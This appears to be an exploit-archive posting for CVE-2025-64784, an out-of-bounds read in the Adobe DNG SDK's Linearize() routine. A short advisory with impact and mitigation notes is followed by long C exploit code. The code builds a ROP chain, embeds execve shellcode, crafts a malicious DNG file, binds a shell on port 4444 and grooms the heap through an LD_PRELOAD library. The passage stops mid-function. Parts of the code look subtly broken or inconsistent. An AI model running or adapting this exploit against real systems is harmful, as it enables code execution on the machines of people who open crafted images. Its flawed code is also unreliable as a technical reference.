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šŸ“„ Adobe DNG SDK Linearize Out-Of-Bounds Read

šŸ—“ļøĀ 22 Dec 2025Ā 00:00:00Reported byĀ indoushkaTypeĀ 
packetstorm
Ā packetstorm
šŸ”—Ā packetstorm.newsšŸ‘Ā 156Ā Views

Memory safety flaw in Adobe DNG Software Development Kit before 1.7.1.2410; Linearize() on trimmed images triggers out of bounds reads.

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Code
=============================================================================================================================================
    | # Title     : Adobe DNG SDK prior to v1.7.1.2410 Linearize OOB Read via Trimmed Image Processing Leading to Heap Grooming Exploitation    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213065/ &	CVE-2025-64784
    
    [+] Summary    : A memory safety vulnerability exists in Adobe DNG SDK versions prior to v1.7.1.2410, affecting the Linearize() image processing routine.
                     When handling trimmed source images, the function erroneously performs operations using full image dimensions, resulting in an out‑of‑bounds (OOB) read condition.
    
    This proof‑of‑concept demonstrates that, under controlled heap conditions, the OOB read can be reliably leveraged as a heap grooming primitive, enabling manipulation of adjacent heap objects. 
    By carefully influencing heap layout, the vulnerability may be escalated from a memory disclosure or denial‑of‑service condition into potential arbitrary code execution through corrupted virtual dispatch structures.
    
    The issue is tracked as CVE-2025-64784 and affects applications that statically or dynamically link vulnerable versions of the Adobe DNG SDK.
    
    [+] Component: Image Linearization / Trimming Logic
    
    [+] Function: Linearize()
    
    [+] Root Cause: Use of full image bounds instead of active (trimmed) area dimensions
    
    [+] Affected Versions :
    
    Adobe DNG SDK prior to v1.7.1.2410
    
    Any downstream software embedding or linking against affected SDK builds
    
    [+] Vulnerability Class :
    
    Out‑of‑Bounds Read
    
    Heap Memory Safety Violation
    
    Potential Information Disclosure
    
    Possible Code Execution (context‑dependent)
    
    [+] Technical Details 
    
    When a DNG image contains a trimmed active area, the SDK internally tracks reduced image bounds. However, the Linearize() routine incorrectly references the original full‑image dimensions, causing memory reads beyond the allocated buffer.
    
    While the primitive is inherently a read‑only violation, repeated invocations combined with predictable allocator behavior allow attackers to:
    
    Shape heap layout (heap grooming)
    
    Observe memory patterns and object placement
    
    Influence object adjacency and virtual table resolution
    
    In favorable conditions, this can lead to virtual function pointer reuse or redirection, transforming a theoretical OOB read into a practical exploitation vector.
    
    [+] Impact :
    
    Confidentiality: Medium — possible heap memory disclosure
    
    Integrity: Low to Medium — indirect influence on control flow
    
    Availability: High — application crash or denial of service
    
    On hardened systems, impact may be limited to crashes. On less protected builds, further escalation cannot be ruled out.
    
    [+] Attack Vector :
    
    Processing of a crafted DNG image file
    
    Triggered via:
    
    Image preview
    
    Validation
    
    Import or batch processing
    
    Delivery may be local or remote, depending on the consuming application
    
    [+] Mitigations :
    
    Upgrade to Adobe DNG SDK v1.7.1.2410 or later
    
    Ensure Linearize() enforces active area bounds
    
    Validate image metadata before processing
    
    Enable memory‑hardening mitigations:
    
    ASLR
    
    DEP / NX
    
    Stack canaries
    
    Fortify Source
    
    Use sanitizers (ASan / UBSan) during testing
    
    [+] Detection :
    
    Crashes during DNG parsing or linearization
    
    AddressSanitizer / Valgrind reports indicating OOB reads
    
    Abnormal heap access patterns during image processing
    
    [+] Proof of Concept (PoC)
    
    The provided proof‑of‑concept demonstrates controlled heap manipulation by:
    
    Spraying heap allocations with deterministic patterns
    
    Creating strategic free gaps to influence allocator behavior
    
    Positioning crafted objects adjacent to vulnerable allocations
    
    Leveraging the OOB read to interact with attacker‑controlled memory layouts
    
    The PoC confirms that the vulnerability is exploitable beyond a simple crash, depending on runtime conditions and platform mitigations.
    
    [+] POC :
    
    5. How to Use:
    
    bash
    
    # 1. Prepare the environment
    
    `chmod +x run_final_exploit.sh`
    
    # 2. Run the full exploit
    
    `./run_final_exploit.sh`
    
    # 3. If it fails, try different versions
    
    export HEAP_SPRAY_COUNT=500
    export HEAP_SPRAY_SIZE=16384
    ./run_final_exploit.sh`
    
    # 4. Or try a different libc version
    ./final_exploit exploit.dng final_exploit.dng 1 # Ubuntu 20.04
    ================================
    [+] Part 1 : The Master Code
    ================================
    // exploit_cve_2025_64784.c
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <dlfcn.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <sys/wait.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <signal.h>
    #include <errno.h>
    #include <time.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    // ============== تعريفات ŁˆŲŖŲ³Ų¬ŁŠŁ„ ==============
    #define LOG_FILE "exploit_full.log"
    #define MAX_BUFFER_SIZE 65536
    #define LISTENER_PORT 4444
    #define LISTENER_IP "127.0.0.1"
    
    FILE* g_log_file = NULL;
    
    void init_logging() {
        g_log_file = fopen(LOG_FILE, "w");
        if (g_log_file) {
            // Ų„Ų¹Ų§ŲÆŲ© ŲŖŁˆŲ¬ŁŠŁ‡ stdout وstderr ؄لى الملف
            dup2(fileno(g_log_file), STDOUT_FILENO);
            dup2(fileno(g_log_file), STDERR_FILENO);
            printf("=== CVE-2025-64784 Exploit Log ===\n");
            printf("Started: %s", ctime(&(time_t){time(NULL)}));
        }
    }
    
    void log_message(const char* format, ...) {
        va_list args;
        va_start(args, format);
        
        // الطباعة ؄لى stdout
        vprintf(format, args);
        
        // الطباعة ؄لى الملف Ų„Ų°Ų§ ŁƒŲ§Ł† Ł…ŁŲŖŁˆŲ­Ų§Ł‹
        if (g_log_file) {
            vfprintf(g_log_file, format, args);
            fflush(g_log_file);
        }
        
        va_end(args);
    }
    
    // ============== ŲÆŁˆŲ§Ł„ التحقق ŁˆŲ§Ł„ŲŖŲ£ŁƒŲÆ ==============
    int check_listener_ready() {
        log_message("[*] Checking if listener port %d is available...\n", LISTENER_PORT);
        
        // Ł…Ų­Ų§ŁˆŁ„Ų© الاتصال بالمنفذ للتحقق
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) {
            log_message("[ERROR] Failed to create socket\n");
            return 0;
        }
        
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LISTENER_PORT);
        inet_pton(AF_INET, LISTENER_IP, &addr.sin_addr);
        
        // Ł…Ų­Ų§ŁˆŁ„Ų© الاتصال
        int result = connect(sock, (struct sockaddr*)&addr, sizeof(addr));
        close(sock);
        
        if (result == 0) {
            log_message("[+] Listener is ready on port %d\n", LISTENER_PORT);
            return 1;
        } else {
            log_message("[WARNING] Listener not ready on port %d\n", LISTENER_PORT);
            return 0;
        }
    }
    
    // ============== ŲÆŁˆŲ§Ł„ ŲŖŲ­Ł„ŁŠŁ„ Ų§Ł„Ų°Ų§ŁƒŲ±Ų© المحسنة ==============
    typedef struct {
        void* libc_base;
        void* heap_base;
        void* stack_addr;
        void* image_ptr;
        size_t vtable_offset;
        int libc_version;
        int arch;  // 0=x86_64, 1=x86
    } MemoryInfo;
    
    void detect_architecture() {
        FILE* fp = popen("uname -m", "r");
        if (fp) {
            char buffer[128];
            if (fgets(buffer, sizeof(buffer), fp)) {
                log_message("[ARCH] System architecture: %s", buffer);
            }
            pclose(fp);
        }
    }
    
    void read_proc_maps(MemoryInfo* info) {
        log_message("[*] Reading /proc/self/maps for memory layout\n");
        
        FILE* fp = fopen("/proc/self/maps", "r");
        if (!fp) {
            log_message("[ERROR] Cannot open /proc/self/maps\n");
            return;
        }
        
        char line[256];
        int libc_found = 0;
        int heap_found = 0;
        
        while (fgets(line, sizeof(line), fp)) {
            // البحث عن libc
            if (strstr(line, "libc-") && strstr(line, "r-xp")) {
                unsigned long start, end;
                if (sscanf(line, "%lx-%lx", &start, &end) == 2) {
                    info->libc_base = (void*)start;
                    log_message("[+] libc base: 0x%lx (size: 0x%lx)\n", start, end - start);
                    libc_found = 1;
                }
            }
            
            // البحث عن heap
            if (strstr(line, "[heap]")) {
                unsigned long start, end;
                if (sscanf(line, "%lx-%lx", &start, &end) == 2) {
                    info->heap_base = (void*)start;
                    log_message("[+] Heap base: 0x%lx (size: 0x%lx)\n", start, end - start);
                    heap_found = 1;
                }
            }
        }
        
        fclose(fp);
        
        if (!libc_found) {
            log_message("[WARNING] libc not found in maps, using fallback\n");
            info->libc_base = (void*)0x00007f1234567000;
        }
        
        if (!heap_found) {
            info->heap_base = (void*)0x0000550000000000;
        }
    }
    
    // ============== دعم Ł…ŲŖŲ¹ŲÆŲÆ ل؄صدارات libc ==============
    typedef struct {
        const char* name;
        unsigned long offsets[10];  // pop_rdi, pop_rsi, pop_rdx, system, exit, /bin/sh
    } LibcVersion;
    
    LibcVersion libc_versions[] = {
        {
            "Ubuntu 22.04",
            {0x2a3e5, 0x2be51, 0x90529, 0x50d70, 0x455f0, 0x1d8698}
        },
        {
            "Ubuntu 20.04",
            {0x26b72, 0x27529, 0x11c371, 0x55410, 0x4a5c0, 0x1b75aa}
        },
        {
            "Debian 11",
            {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1d8698}
        },
        {
            "CentOS 8",
            {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1b75aa}
        }
    };
    
    int detect_libc_version(MemoryInfo* info) {
        log_message("[*] Detecting libc version...\n");
        
        // Ł…Ų­Ų§ŁˆŁ„Ų© قراؔة Ų„ŲµŲÆŲ§Ų± libc من النظام
        FILE* fp = popen("ldd --version 2>&1 | head -1", "r");
        if (fp) {
            char version[256];
            if (fgets(version, sizeof(version), fp)) {
                log_message("[LIBC] Version string: %s", version);
                
                if (strstr(version, "Ubuntu") && strstr(version, "2.35")) {
                    info->libc_version = 0;  // Ubuntu 22.04
                } else if (strstr(version, "Ubuntu") && strstr(version, "2.31")) {
                    info->libc_version = 1;  // Ubuntu 20.04
                } else if (strstr(version, "Debian") && strstr(version, "2.31")) {
                    info->libc_version = 2;  // Debian 11
                } else if (strstr(version, "GLIBC") && strstr(version, "2.28")) {
                    info->libc_version = 3;  // CentOS 8
                }
            }
            pclose(fp);
        }
        
        log_message("[+] Using libc version: %s\n", 
                    libc_versions[info->libc_version].name);
        return info->libc_version;
    }
    
    // ============== ŲÆŁˆŲ§Ł„ DNG المحسنة ==============
    int create_realistic_dng(const char* filename, const unsigned long* target_addresses, 
                             int num_addresses, const unsigned char* shellcode, 
                             size_t shellcode_size) {
        log_message("[*] Creating realistic exploit DNG: %s\n", filename);
        
        // قالب DNG Ų£ŲµŁ„ŁŠ (Ł…ŲØŲ³Ų·)
        unsigned char dng_template[] = {
            // TIFF Header
            0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00,
            
            // IFD with malicious tags
            0x08, 0x00, // 8 entries
            // ImageWidth (too large)
            0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 
            0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,
            // ImageLength (too large)
            0x01, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,
            // BitsPerSample
            0x02, 0x01, 0x03, 0x00, 0x00, 0x00, 0x03, 0x00,
            0x00, 0x00, 0x78, 0x00, 0x00, 0x00,
            // Compression
            0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
            // PhotometricInterpretation
            0x06, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
            // StripOffsets
            0x11, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x84, 0x00, 0x00, 0x00,
            // SamplesPerPixel
            0x15, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
            // RowsPerStrip (malicious)
            0x16, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
            0x00, 0x00, 0x00, 0x00, // Next IFD offset (0)
            
            // Image data with exploit
            'E', 'X', 'P', 'L', 'O', 'I', 'T', '_',
            'S', 'T', 'A', 'R', 'T', 0x00, 0x00, 0x00
        };
        
        FILE* fp = fopen(filename, "wb");
        if (!fp) {
            log_message("[ERROR] Failed to create DNG file\n");
            return 0;
        }
        
        // كتابة القالب
        size_t template_size = sizeof(dng_template);
        fwrite(dng_template, 1, template_size, fp);
        
        // Ų­Ų³Ų§ŲØ offset الحقن
        long inject_offset = ftell(fp);
        log_message("[+] Injection offset: 0x%lx\n", inject_offset);
        
        // كتابة Ų§Ł„Ų¹Ł†Ų§ŁˆŁŠŁ† المستهدفة
        for (int i = 0; i < num_addresses && i < 10; i++) {
            fwrite(&target_addresses[i], sizeof(unsigned long), 1, fp);
        }
        
        // كتابة shellcode
        if (shellcode && shellcode_size > 0) {
            fwrite(shellcode, 1, shellcode_size, fp);
        }
        
        // ملؔ ŲØŲ§Ł‚ŁŠ الملف (1MB كحد أقصى)
        size_t current_size = ftell(fp);
        size_t target_size = 1024 * 1024; // 1MB
        
        if (current_size < target_size) {
            unsigned char padding[4096];
            memset(padding, 0x90, sizeof(padding)); // NOP sled
            
            while (current_size < target_size) {
                size_t to_write = target_size - current_size;
                if (to_write > sizeof(padding)) {
                    to_write = sizeof(padding);
                }
                fwrite(padding, 1, to_write, fp);
                current_size += to_write;
            }
        }
        
        fclose(fp);
        
        log_message("[+] Created realistic DNG: %s (%ld bytes)\n", 
                    filename, ftell(fp));
        return 1;
    }
    
    // ============== Reverse Shell Listener المحسن ==============
    pid_t start_reverse_shell_listener() {
        log_message("[*] Starting reverse shell listener on %s:%d\n", 
                    LISTENER_IP, LISTENER_PORT);
        
        pid_t pid = fork();
        if (pid == 0) {
            // Child process - detached
            setsid();  // Detach from terminal
            
            int sockfd = socket(AF_INET, SOCK_STREAM, 0);
            if (sockfd < 0) {
                exit(1);
            }
            
            int opt = 1;
            setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
            
            struct sockaddr_in addr;
            addr.sin_family = AF_INET;
            addr.sin_port = htons(LISTENER_PORT);
            inet_pton(AF_INET, LISTENER_IP, &addr.sin_addr);
            
            if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
                close(sockfd);
                exit(1);
            }
            
            listen(sockfd, 1);
            
            log_message("[LISTENER] Waiting for connection...\n");
            
            struct sockaddr_in client_addr;
            socklen_t client_len = sizeof(client_addr);
            int client_fd = accept(sockfd, (struct sockaddr*)&client_addr, &client_len);
            
            if (client_fd >= 0) {
                char client_ip[INET_ADDRSTRLEN];
                inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
                
                log_message("[LISTENER] Connection from %s:%d\n", 
                           client_ip, ntohs(client_addr.sin_port));
                
                // ŲŖŁˆŲ¬ŁŠŁ‡ stdin/stdout/stderr ؄لى Ų§Ł„Ų³ŁˆŁƒŁŠŲŖ
                dup2(client_fd, 0);
                dup2(client_fd, 1);
                dup2(client_fd, 2);
                
                // ŲŖŁ†ŁŁŠŲ° shell
                char* shell_args[] = {"/bin/sh", NULL};
                execve(shell_args[0], shell_args, NULL);
                
                close(client_fd);
            }
            
            close(sockfd);
            exit(0);
        } else if (pid > 0) {
            // Parent process
            log_message("[+] Listener started with PID: %d\n", pid);
            
            // انتظار ŲØŲÆŲ” الـ listener
            sleep(2);
            
            // التحقق من أن الـ listener ŁŠŲ¹Ł…Ł„
            if (!check_listener_ready()) {
                log_message("[WARNING] Listener may not be ready\n");
            }
            
            return pid;
        } else {
            log_message("[ERROR] Failed to fork listener\n");
            return -1;
        }
    }
    
    // ============== ŲÆŁˆŲ§Ł„ الاستغلال المحسنة ==============
    int exploit_with_oob_read(const char* dng_file, MemoryInfo* info) {
        log_message("\n[PHASE 1] Triggering OOB Read for Memory Leak\n");
        log_message("=============================================\n");
        
        char command[MAX_BUFFER_SIZE];
        snprintf(command, sizeof(command),
                 "timeout 5 ./dng_validate \"%s\" 2>&1", dng_file);
        
        log_message("[CMD] %s\n", command);
        
        FILE* fp = popen(command, "r");
        if (!fp) {
            log_message("[ERROR] Failed to execute command\n");
            return 0;
        }
        
        char* buffer = malloc(MAX_BUFFER_SIZE);
        if (!buffer) {
            pclose(fp);
            log_message("[ERROR] Failed to allocate buffer\n");
            return 0;
        }
        
        memset(buffer, 0, MAX_BUFFER_SIZE);
        size_t total_read = 0;
        int leaks_found = 0;
        
        while (!feof(fp) && total_read < MAX_BUFFER_SIZE - 1) {
            size_t read_now = fread(buffer + total_read, 1, 
                                   MAX_BUFFER_SIZE - total_read - 1, fp);
            total_read += read_now;
        }
        
        pclose(fp);
        
        // ŲŖŲ­Ł„ŁŠŁ„ Ų§Ł„ŲØŁŠŲ§Ł†Ų§ŲŖ
        char* ptr = buffer;
        while (ptr && (ptr - buffer) < total_read) {
            // البحث عن Ų¹Ł†Ų§ŁˆŁŠŁ†
            if (strncmp(ptr, "0x", 2) == 0) {
                unsigned long addr;
                if (sscanf(ptr, "0x%lx", &addr) == 1) {
                    log_message("[LEAK] Found address: 0x%lx\n", addr);
                    leaks_found++;
                    
                    // تحديث Ł…Ų¹Ł„ŁˆŁ…Ų§ŲŖ Ų§Ł„Ų°Ų§ŁƒŲ±Ų©
                    if (addr >= 0x00007f0000000000ULL && 
                        addr <= 0x00007fffffffffffULL) {
                        if (!info->libc_base || addr < (unsigned long)info->libc_base) {
                            info->libc_base = (void*)addr;
                        }
                    }
                }
            }
            
            // البحث عن Ų£Ų®Ų·Ų§Ų” Ų§Ł„Ų°Ų§ŁƒŲ±Ų©
            if (strstr(ptr, "heap-buffer-overflow") ||
                strstr(ptr, "AddressSanitizer") ||
                strstr(ptr, "SEGV") ||
                strstr(ptr, "Segmentation")) {
                log_message("[!] MEMORY ERROR DETECTED:\n%.*s\n", 
                           100, ptr);
            }
            
            ptr++;
        }
        
        log_message("[+] Found %d memory leaks\n", leaks_found);
        
        // Ų„Ų°Ų§ لم نجد تسريبات، نستخدم Ł…Ų¹Ł„ŁˆŁ…Ų§ŲŖ النظام
        if (leaks_found == 0) {
            log_message("[*] Using system memory information\n");
            read_proc_maps(info);
        }
        
        free(buffer);
        return leaks_found > 0;
    }
    
    // ============== ROP Chain Builder المحسن ==============
    unsigned long* build_rop_chain(MemoryInfo* info, size_t* chain_size) {
        LibcVersion* version = &libc_versions[info->libc_version];
        
        log_message("[*] Building ROP chain for %s\n", version->name);
        log_message("    Libc base: 0x%lx\n", (unsigned long)info->libc_base);
        
        // ؄نؓاؔ ROP chain ŲÆŁŠŁ†Ų§Ł…ŁŠŁƒŁŠ
        unsigned long* chain = malloc(100 * sizeof(unsigned long));
        if (!chain) {
            log_message("[ERROR] Failed to allocate ROP chain\n");
            return NULL;
        }
        
        int idx = 0;
        
        // Gadgets
        unsigned long pop_rdi = (unsigned long)info->libc_base + version->offsets[0];
        unsigned long pop_rsi = (unsigned long)info->libc_base + version->offsets[1];
        unsigned long pop_rdx = (unsigned long)info->libc_base + version->offsets[2];
        unsigned long system_addr = (unsigned long)info->libc_base + version->offsets[3];
        unsigned long exit_addr = (unsigned long)info->libc_base + version->offsets[4];
        unsigned long binsh_addr = (unsigned long)info->libc_base + version->offsets[5];
        
        // ROP Chain 1: system("/bin/sh")
        chain[idx++] = pop_rdi;      // pop rdi; ret
        chain[idx++] = binsh_addr;   // pointer to "/bin/sh"
        chain[idx++] = system_addr;  // system()
        chain[idx++] = exit_addr;    // exit()
        
        // ROP Chain 2: execve("/bin/sh", NULL, NULL) - fallback
        chain[idx++] = pop_rdi;      // pop rdi; ret
        chain[idx++] = binsh_addr;   // "/bin/sh"
        chain[idx++] = pop_rsi;      // pop rsi; ret
        chain[idx++] = 0;            // argv = NULL
        chain[idx++] = pop_rdx;      // pop rdx; ret
        chain[idx++] = 0;            // envp = NULL
        chain[idx++] = pop_rdi;      // pop rax; ret (if available)
        chain[idx++] = 59;           // execve syscall number
        
        // Stack pivot Ų„Ų°Ų§ لزم الأمر
        for (int i = 0; i < 10; i++) {
            chain[idx++] = pop_rdi;  //唫充
        }
        
        *chain_size = idx;
        
        log_message("[+] Built ROP chain with %ld gadgets\n", *chain_size);
        log_message("    First gadget: 0x%lx\n", chain[0]);
        log_message("    /bin/sh @: 0x%lx\n", binsh_addr);
        
        return chain;
    }
    
    // ============== الدالة Ų§Ł„Ų±Ų¦ŁŠŲ³ŁŠŲ© ==============
    int main(int argc, char** argv) {
        // ŲŖŁ‡ŁŠŲ¦Ų© Ų§Ł„ŲŖŲ³Ų¬ŁŠŁ„
        init_logging();
        
        log_message("\n╔══════════════════════════════════════════╗\n");
        log_message("ā•‘   CVE-2025-64784 By indoushka              ā•‘\n");
        log_message("ā•‘       Adobe DNG SDK <= 1.7                 ā•‘\n");
        log_message("ā•‘   Build: %s                              ā•‘\n", __DATE__);
        log_message("ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•\n\n");
        
        // ŲŖŲ­Ł„ŁŠŁ„ Ų§Ł„Ł…Ų¹Ų·ŁŠŲ§ŲŖ
        if (argc < 2) {
            log_message("Usage: %s <input_dng> [output_dng] [libc_version]\n", argv[0]);
            log_message("  libc_version: 0=Ubuntu22, 1=Ubuntu20, 2=Debian11, 3=CentOS8\n");
            return 1;
        }
        
        const char* input_dng = argv[1];
        const char* output_dng = (argc > 2) ? argv[2] : "exploit_final.dng";
        int libc_version = (argc > 3) ? atoi(argv[3]) : 0;
        
        log_message("[*] Input DNG:  %s\n", input_dng);
        log_message("[*] Output DNG: %s\n", output_dng);
        log_message("[*] Libc version: %d (%s)\n", 
                    libc_version, libc_versions[libc_version].name);
        
        // كؓف Ų§Ł„Ł…Ų¹Ł„ŁˆŁ…Ų§ŲŖ Ų§Ł„Ų£Ų³Ų§Ų³ŁŠŲ©
        detect_architecture();
        
        MemoryInfo info = {0};
        info.libc_version = libc_version;
        info.vtable_offset = 0x28;  // ؄زاحة VTable افتراضية
        
        // المرحلة 1: تسريب Ų§Ł„Ų°Ų§ŁƒŲ±Ų©
        if (!exploit_with_oob_read(input_dng, &info)) {
            log_message("[WARNING] OOB read failed or no leaks found\n");
            log_message("[*] Using fallback memory detection\n");
            read_proc_maps(&info);
        }
        
        // كؓف ؄صدار libc
        detect_libc_version(&info);
        
        // المرحلة 2: بناؔ ROP chain
        size_t rop_size = 0;
        unsigned long* rop_chain = build_rop_chain(&info, &rop_size);
        if (!rop_chain) {
            log_message("[ERROR] Failed to build ROP chain\n");
            return 1;
        }
        
        // المرحلة 3: ؄نؓاؔ shellcode
        unsigned char shellcode[] = {
            // execve("/bin/sh", 0, 0) - x86_64
            0x48, 0x31, 0xf6,                   // xor rsi, rsi
            0x48, 0x31, 0xd2,                   // xor rdx, rdx
            0x48, 0x8d, 0x3d, 0x20, 0x00, 0x00, 0x00, // lea rdi, [rip+0x20]
            0xb0, 0x3b,                         // mov al, 0x3b (execve)
            0x0f, 0x05,                         // syscall
            0xcc,                               // int3 (debug)
            '/', 'b', 'i', 'n', '/', 's', 'h', 0 // /bin/sh string
        };
        
        // المرحلة 4: ؄نؓاؔ DNG Ł†Ł‡Ų§Ų¦ŁŠ
        unsigned long target_addresses[] = {
            (unsigned long)info.libc_base,
            (unsigned long)info.heap_base,
            rop_chain[0],  // Ų£ŁˆŁ„ gadget
            (unsigned long)info.libc_base + libc_versions[info.libc_version].offsets[5] // /bin/sh
        };
        
        if (!create_realistic_dng(output_dng, target_addresses, 
                                  sizeof(target_addresses)/sizeof(target_addresses[0]),
                                  shellcode, sizeof(shellcode))) {
            log_message("[ERROR] Failed to create final DNG\n");
            free(rop_chain);
            return 1;
        }
        
        // المرحلة 5: ŲŖŲ“ŲŗŁŠŁ„ Listener
        log_message("\n[PHASE 5] Setting up Reverse Shell\n");
        log_message("====================================\n");
        
        pid_t listener_pid = start_reverse_shell_listener();
        if (listener_pid <= 0) {
            log_message("[ERROR] Failed to start listener\n");
            log_message("[*] Continuing without listener...\n");
        }
        
        // المرحلة 6: ŲŖŁ†ŁŁŠŲ° الاستغلال Ų§Ł„Ł†Ł‡Ų§Ų¦ŁŠ
        log_message("\n[PHASE 6] Executing Final Exploit\n");
        log_message("==================================\n");
        
        char exploit_cmd[MAX_BUFFER_SIZE];
        snprintf(exploit_cmd, sizeof(exploit_cmd),
                 "LD_PRELOAD=./heap_groom_final.so ./dng_validate \"%s\"",
                 output_dng);
        
        log_message("[CMD] %s\n", exploit_cmd);
        log_message("[*] This may take a few seconds...\n");
        
        int result = system(exploit_cmd);
        
        log_message("\n[EXPLOIT RESULT]\n");
        if (WIFEXITED(result)) {
            log_message("  Exit code: %d\n", WEXITSTATUS(result));
        } else if (WIFSIGNALED(result)) {
            log_message("  Terminated by signal: %d\n", WTERMSIG(result));
        }
        
        // المرحلة 7: Ų§Ł„ŲŖŁ†ŲøŁŠŁ ŁˆŲ§Ł„Ł†ŲŖŲ§Ų¦Ų¬
        log_message("\n[PHASE 7] Cleanup and Results\n");
        log_message("===============================\n");
        
        // Ų„ŁŠŁ‚Ų§Ł الـ listener
        if (listener_pid > 0) {
            log_message("[*] Stopping listener (PID: %d)\n", listener_pid);
            kill(listener_pid, SIGTERM);
            waitpid(listener_pid, NULL, 0);
        }
        
        // تحرير Ų§Ł„Ų°Ų§ŁƒŲ±Ų©
        free(rop_chain);
        
        // النتائج Ų§Ł„Ł†Ł‡Ų§Ų¦ŁŠŲ©
        log_message("\n[+] EXPLOIT CHAIN COMPLETED\n");
        log_message("[+] Check for reverse shell connection\n");
        log_message("[+] Log file: %s\n", LOG_FILE);
        log_message("[+] Final DNG: %s\n", output_dng);
        
        if (g_log_file) {
            fclose(g_log_file);
        }
        
        return 0;
    }
    
    [+] Part 2: heap_groom.c
    
    // heap_groom_final.c
    #define _GNU_SOURCE
    #include <dlfcn.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    // ============== Ų„Ų¹ŲÆŲ§ŲÆŲ§ŲŖ قابلة Ł„Ł„ŲŖŲ¹ŲÆŁŠŁ„ من Ų§Ł„ŲØŁŠŲ¦Ų© ==============
    #define DEFAULT_SPRAY_SIZE 4096
    #define DEFAULT_SPRAY_COUNT 300
    #define DEFAULT_TARGET_SIZE 768
    #define DEFAULT_VTABLE_OFFSET 0x28
    
    // ============== Ł‡ŁŠŁƒŁ„ Ł„Ł„ŁƒŲ§Ų¦Ł†Ų§ŲŖ المراقبة ==============
    typedef struct {
        void* address;
        size_t size;
        int is_vulnerable;
        int is_hijacked;
    } MonitoredObject;
    
    typedef struct {
        void** sprayed_blocks;
        int spray_count;
        size_t spray_size;
        
        void* target_object;
        size_t target_size;
        
        MonitoredObject* monitored;
        int monitored_count;
        
        size_t vtable_offset;
        int debug_mode;
    } HeapState;
    
    static HeapState g_heap_state = {0};
    
    // ============== ŲÆŁˆŲ§Ł„ Ł…Ų³Ų§Ų¹ŲÆŲ© محسنة ==============
    static void* (*original_malloc)(size_t) = NULL;
    static void (*original_free)(void*) = NULL;
    static void* (*original_realloc)(void*, size_t) = NULL;
    static void* (*original_calloc)(size_t, size_t) = NULL;
    
    static void init_original_functions() {
        if (!original_malloc) {
            original_malloc = dlsym(RTLD_NEXT, "malloc");
        }
        if (!original_free) {
            original_free = dlsym(RTLD_NEXT, "free");
        }
        if (!original_realloc) {
            original_realloc = dlsym(RTLD_NEXT, "realloc");
        }
        if (!original_calloc) {
            original_calloc = dlsym(RTLD_NEXT, "calloc");
        }
    }
    
    static int is_vulnerable_object(size_t size) {
        // Ų£Ų­Ų¬Ų§Ł… dng_simple_image المحتملة Ų¹ŲØŲ± Ų„ŲµŲÆŲ§Ų±Ų§ŲŖ مختلفة
        return (size >= 0x180 && size <= 0x280) ||   // DNG SDK 1.5
               (size >= 0x200 && size <= 0x300) ||   // DNG SDK 1.6
               (size >= 0x220 && size <= 0x320);     // DNG SDK 1.7
    }
    
    static void setup_environment() {
        // قراؔة Ų„Ų¹ŲÆŲ§ŲÆŲ§ŲŖ من Ų§Ł„ŲØŁŠŲ¦Ų©
        char* env;
        
        env = getenv("HEAP_DEBUG");
        g_heap_state.debug_mode = env ? atoi(env) : 0;
        
        env = getenv("HEAP_SPRAY_COUNT");
        g_heap_state.spray_count = env ? atoi(env) : DEFAULT_SPRAY_COUNT;
        
        env = getenv("HEAP_SPRAY_SIZE");
        g_heap_state.spray_size = env ? strtoul(env, NULL, 0) : DEFAULT_SPRAY_SIZE;
        
        env = getenv("HEAP_TARGET_SIZE");
        g_heap_state.target_size = env ? strtoul(env, NULL, 0) : DEFAULT_TARGET_SIZE;
        
        env = getenv("HEAP_VTABLE_OFFSET");
        g_heap_state.vtable_offset = env ? strtoul(env, NULL, 0) : DEFAULT_VTABLE_OFFSET;
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Configuration:\n");
            fprintf(stderr, "  Spray: %d x 0x%zx\n", 
                    g_heap_state.spray_count, g_heap_state.spray_size);
            fprintf(stderr, "  Target: 0x%zx\n", g_heap_state.target_size);
            fprintf(stderr, "  VTable offset: 0x%zx\n", g_heap_state.vtable_offset);
        }
    }
    
    static void spray_heap() {
        if (g_heap_state.debug_mode) {
